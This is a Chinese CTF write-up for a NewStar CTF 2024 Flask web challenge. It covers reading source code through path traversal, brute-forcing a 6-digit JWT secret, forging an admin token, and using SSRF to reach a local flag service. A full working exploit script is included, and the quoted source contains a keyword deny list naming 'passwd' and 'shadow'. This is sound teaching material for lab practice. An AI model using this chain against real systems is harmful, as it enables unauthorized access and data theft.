NewStar 这“照片”是你吗 web 源码提示:
为什么没有Nginx或Apache就能说明服务器脚本能够处理静态文件?
在一般的 Web 服务器部署中,静态资源(如图片、CSS 文件)通常由 Nginx 或 Apache 这样的服务器专门处理,因为它们效率更高,如果页面上的图标或图片等静态资源能正常显示,说明服务器脚本(如 Flask、Django 等)自己在处理这些文件请求,可以推测应用服务器(如 Flask 自带的开发服务器)可能在直接处理所有请求,包括静态文件。
server显示python和werkzeug,查到跟flask有关,flask的启动脚本,源码一般在app,py里
burp抓包,路径穿越:
为甚么是../app.py,路径穿越需要尝试,这个不行也可以试试../../
显示源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 from flask import Flask, make_response, render_template_string, request, redirect, send_fileimport uuidimport jwtimport timeimport osimport requestsfrom flag import get_random_number_stringbase_key = str (uuid.uuid4()).split("-" ) secret_key = get_random_number_string(6 ) admin_pass = "" .join([ _ for _ in base_key]) print (admin_pass)app = Flask(__name__) failure_count = 0 users = { 'admin' : admin_pass, 'amiya' : "114514" } def verify_token (token ): try : global failure_count if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) data = jwt.decode(token, secret_key, algorithms=["HS256" ]) if data.get('user' ) != 'admin' : failure_count += 1 return make_response("You are not admin!<br><img src='/3.png'>" , 403 ) except : return make_response("Token is invalid!<br><img src='/3.png'>" , 401 ) return True @app.route('/' ) def index (): return redirect("/home" ) @app.route('/login' , methods=['POST' ] ) def login (): username = request.form['username' ] password = request.form['password' ] global failure_count if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) if users.get(username)==password: token = jwt.encode({'user' : username, 'exp' : int (time.time()) + 600 }, secret_key) response = make_response('Login success!<br><a href="/home">Go to homepage</a>' ) response.set_cookie('token' , token) return response else : failure_count += 1 return make_response('Could not verify!<br><img src="/3.png">' , 401 ) @app.route('/logout' ) def logout (): response = make_response('Logout success!<br><a href="/home">Go to homepage</a>' ) response.set_cookie('token' , '' , expires=0 ) return response @app.route('/home' ) def home (): logged_in = False try : token = request.cookies.get('token' ) data = jwt.decode(token, secret_key, algorithms=["HS256" ]) text = "Hello, %s!" % data.get('user' ) logged_in = True except : logged_in = False text = "You have not logged in!" data = {} return render_template_string(r''' <!DOCTYPE html> <html> <head> <title>Home Page</title> </head> <body> <!-- 图标能够正常显示耶! --> <!-- 但是我好像没有看到Nginx或者Apache之类的东西 --> <!-- 说明服务器脚本能够处理静态文件捏 --> <!-- 那源码是不是可以用某些办法拿到呢! --> {{ text }}<br> {% if logged_in %} <a href="/logout">登出</a> {% else %} <h2>登录</h2> <form action="/login" method="post"> 用户名: <input type="text" name="username"><br> 密码: <input type="password" name="password"><br> <input type="submit" value="登录"> </form> {% endif %} <br> {% if user=="admin" %} <a href="/admin">Go to admin panel</a> <img src="/2.png"> {% else %} <img src="/1.png"> {% endif %} </body> </html> ''' , text=text, logged_in=logged_in, user=data.get('user' ))@app.route('/admin' ) def admin (): try : token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) resp_text = render_template_string(r''' <!DOCTYPE html> <html> <head> <title>Admin Panel</title> </head> <body> <h1>Admin Panel</h1> <p>GET Server Info from api:</p> <input type="input" value={{api_url}} id="api" readonly> <button onclick=execute()>Execute</button> <script> function execute() { fetch("{{url}}/execute?api_address="+document.getElementById("api").value, {credentials: "include"} ).then(res => res.text()).then(data => { document.write(data); }); } </script> </body> </html> ''' , api_url=request.host_url+"/api" , url=request.host_url) resp = make_response(resp_text) resp.headers['Access-Control-Allow-Credentials' ] = 'true' return resp except : return make_response("Token is invalid!<br><img src='/3.png'>" , 401 ) @app.route('/execute' ) def execute (): token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) api_address = request.args.get("api_address" ) if not api_address: return make_response("No api address!" , 400 ) response = requests.get(api_address, cookies={'token' : token}) return response.text @app.route("/api" ) def api (): token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) resp = make_response(f"Server Info: {os.popen('uname -a' ).read()} " ) resp.headers['Access-Control-Allow-Credentials' ] = 'true' return resp @app.route("/<path:file>" ) def static_file (file ): print (file) restricted_keywords = ["proc" , "env" , "passwd" , "shadow" , "hosts" , "sys" , "log" , "etc" , "bin" , "lib" , "tmp" , "var" , "run" , "dev" , "home" , "boot" ] if any (keyword in file for keyword in restricted_keywords): return make_response("STOP!" , 404 ) if not os.path.exists("./static/" + file): return make_response("Not found!" , 404 ) return send_file("./static/" + file) if __name__ == '__main__' : app.run(host="0.0.0.0" ,port=5000 )
我们按着逻辑看看:
首先是/home
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 @app.route('/home' ) def home (): logged_in = False try : token = request.cookies.get('token' ) data = jwt.decode(token, secret_key, algorithms=["HS256" ]) text = "Hello, %s!" % data.get('user' ) logged_in = True except : logged_in = False text = "You have not logged in!" data = {} return render_template_string(r''' <!DOCTYPE html> <html> <head> <title>Home Page</title> </head> <body> <!-- 图标能够正常显示耶! --> <!-- 但是我好像没有看到Nginx或者Apache之类的东西 --> <!-- 说明服务器脚本能够处理静态文件捏 --> <!-- 那源码是不是可以用某些办法拿到呢! --> {{ text }}<br> {% if logged_in %} <a href="/logout">登出</a> {% else %} <h2>登录</h2> <form action="/login" method="post"> 用户名: <input type="text" name="username"><br> 密码: <input type="password" name="password"><br> <input type="submit" value="登录"> </form> {% endif %} <br> {% if user=="admin" %} <a href="/admin">Go to admin panel</a> <img src="/2.png"> {% else %} <img src="/1.png"> {% endif %} </body> </html> ''' , text=text, logged_in=logged_in, user=data.get('user' ))
这里其实就是一开始的渲染,我们看到token,jwt和secret_key
看看secret_key
1 2 3 4 5 6 7 8 9 10 from flag import get_random_number_stringbase_key = str (uuid.uuid4()).split("-" ) secret_key = get_random_number_string(6 ) admin_pass = "" .join([ _ for _ in base_key]) users = { 'admin' : admin_pass, 'amiya' : "114514" }
basekey是uuid去掉-也就是32位的basekey,根据base_key得到一个密码,这里还给了两个用户,我们访问amiya没发现什么,但是通过抓包,我们发现了token
secret_key从flag来,我们看看路径穿越访问试试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from flask import Flaskimport osimport randomdef get_random_number_string (length ): return '' .join([str (random.randint(0 , 9 )) for _ in range (length)]) get_flag = Flask("get_flag" ) FLAG = os.environ.pop("ICQ_FLAG" , "flag{test_flag}" ) @get_flag.route("/fl4g" ) def flag (): return FLAG if __name__ == "__main__" : get_flag.run(host="127.0.0.1" ,port=5001 )
提示我们,flag要通过/fl4g访问,同时注意到get_flag.run(host=”127.0.0.1”,port=5001)这里是5001而app.py中是5000
get_random….这个就是根据length去生成,length是6,也就是6位的secret_key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route('/login' , methods=['POST' ] ) def login (): username = request.form['username' ] password = request.form['password' ] global failure_count if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) if users.get(username)==password: token = jwt.encode({'user' : username, 'exp' : int (time.time()) + 600 }, secret_key) response = make_response('Login success!<br><a href="/home">Go to homepage</a>' ) response.set_cookie('token' , token) return response else : failure_count += 1 return make_response('Could not verify!<br><img src="/3.png">' , 401 )
可以看看登录了,这里有个failure_count,其实我一开始还做了爆破,这里做了限制,我们不能爆破登陆了
我们只有一个办法,伪造token
我们不要陷入一个误区,这题关键不在破解密码,而是得到flag,我们耐心继续看完代码
1 2 3 4 5 6 7 8 9 10 11 12 @app.route('/execute' ) def execute (): token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) api_address = request.args.get("api_address" ) if not api_address: return make_response("No api address!" , 400 ) response = requests.get(api_address, cookies={'token' : token}) return response.text
这里的execute首先会验证token然后get一个api_address,然后去返回,这是不是就存在SSRF漏洞,联想到之前的5001
我们可以构建payload:
1 /execute?api_address=http://localhost:5001/fl4g
来显示Fl4g
这里还需要校验token,我们看看
1 2 3 4 5 6 7 8 9 10 11 12 def verify_token (token ): try : global failure_count if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) data = jwt.decode(token, secret_key, algorithms=["HS256" ]) if data.get('user' ) != 'admin' : failure_count += 1 return make_response("You are not admin!<br><img src='/3.png'>" , 403 ) except : return make_response("Token is invalid!<br><img src='/3.png'>" , 401 ) return True
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
这里我们发现只校验了user是不是admin,根本每校验密码,不需要我们登录,我们这样只需要爆破得到secret_key,伪造一个token就能发了
我们写脚本:
这里参考官解这照片是你吗 | WriteUp - NewStar CTF 2024
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import jwtimport timeimport requestsurl = "http://8.147.132.32:37713/" req = requests.post(url+"/login" , data={"username" :"amiya" ,"password" :"114514" }) token = req.cookies['token' ] print ("获取到的 token:" , token)for i in range (100000 , 1000000 ): secret_key = str (i) try : decoded = jwt.decode(token, secret_key, algorithms=["HS256" ]) print ("Secret found:" , i) break except jwt.exceptions.InvalidSignatureError: continue print (f"secret key: {secret_key} " )admin_payload = { 'user' : 'admin' , 'exp' : int (time.time()) + 600 } admin_token = jwt.encode(admin_payload, secret_key) print ("伪造的 admin Token:" , admin_token)req = requests.get(url+"/execute?api_address=http://localhost:5001/fl4g" , cookies={"token" :admin_token}) print (f"flag: {req.text} " )
flag{7cc594e1-0b23-48f8-ba0c-4b9e06dcc297}
这里有个jwt工具,记录一下crackjwt